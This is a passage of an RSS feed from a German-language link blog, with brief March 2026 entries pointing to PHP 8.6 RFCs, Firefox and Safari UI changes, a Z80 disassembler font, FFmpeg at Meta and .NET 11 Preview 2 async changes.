</content:encoded><language>de-DE</language><category>language-design</category><category>compiler</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/03/04/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/03/04/1.html</guid><pubDate>Wed, 04 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://php.watch/rfcs/true_async&quot;&gt;PHP 8.6 bekommt scheinbar bessere Asynchronizität&lt;/a&gt;: &lt;a href=&quot;https://wiki.php.net/rfc/true_async&quot;&gt;PHP 8.6 RFC: True Async&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>php</category><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/03/04/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/03/04/2.html</guid><pubDate>Wed, 04 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wo wir gerade bei PHP waren: &lt;a href=&quot;https://wiki.php.net/rfc/partial_function_application_v2&quot;&gt;Partial Application kommt auch&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>php</category><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/03/04/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/03/04/3.html</guid><pubDate>Wed, 04 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://joshua.hu/firefox-making-right-click-not-suck&quot;&gt;Making Firefox&apos;s right-click not suck with &lt;code&gt;about:config&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>ux</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/03/06/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/03/06/0.html</guid><pubDate>Fri, 06 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Die nächste Safari-Preview &lt;a href=&quot;https://modernwebweekly.substack.com/p/modern-web-weekly-68&quot;&gt;kann jetzt stylebare &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt;s&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><category>html</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/03/09/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/03/09/0.html</guid><pubDate>Mon, 09 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Aus der Blogserie &quot;Fonts mit viel Funktionalität&quot;: &lt;a href=&quot;https://github.com/nevesnunes/z80-sans&quot;&gt;Ein Z80-Disassembler in einer Font&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/03/09/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/03/09/1.html</guid><pubDate>Mon, 09 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://engineering.fb.com/2026/03/02/video-engineering/ffmpeg-at-meta-media-processing-at-scale/&quot;&gt;FFmpeg at Meta: Media Processing at Scale&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/03/10/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/03/10/0.html</guid><pubDate>Tue, 10 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/dotnet/dotnet-11-preview-2/&quot;&gt;.NET 11 Preview 2&lt;/a&gt; ist da. Neu ist vorallem eine Vorschau davon, wie sie Async-Code in die Runtime schieben. Aus async/await hat der Compiler bisher eine State-Machine gebaut und als IL emitted. Das könnte sich in zukunft ändern und von der Runtime übernommen werden.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>dotnet</category><author>nikeee</author></item></channel></rss>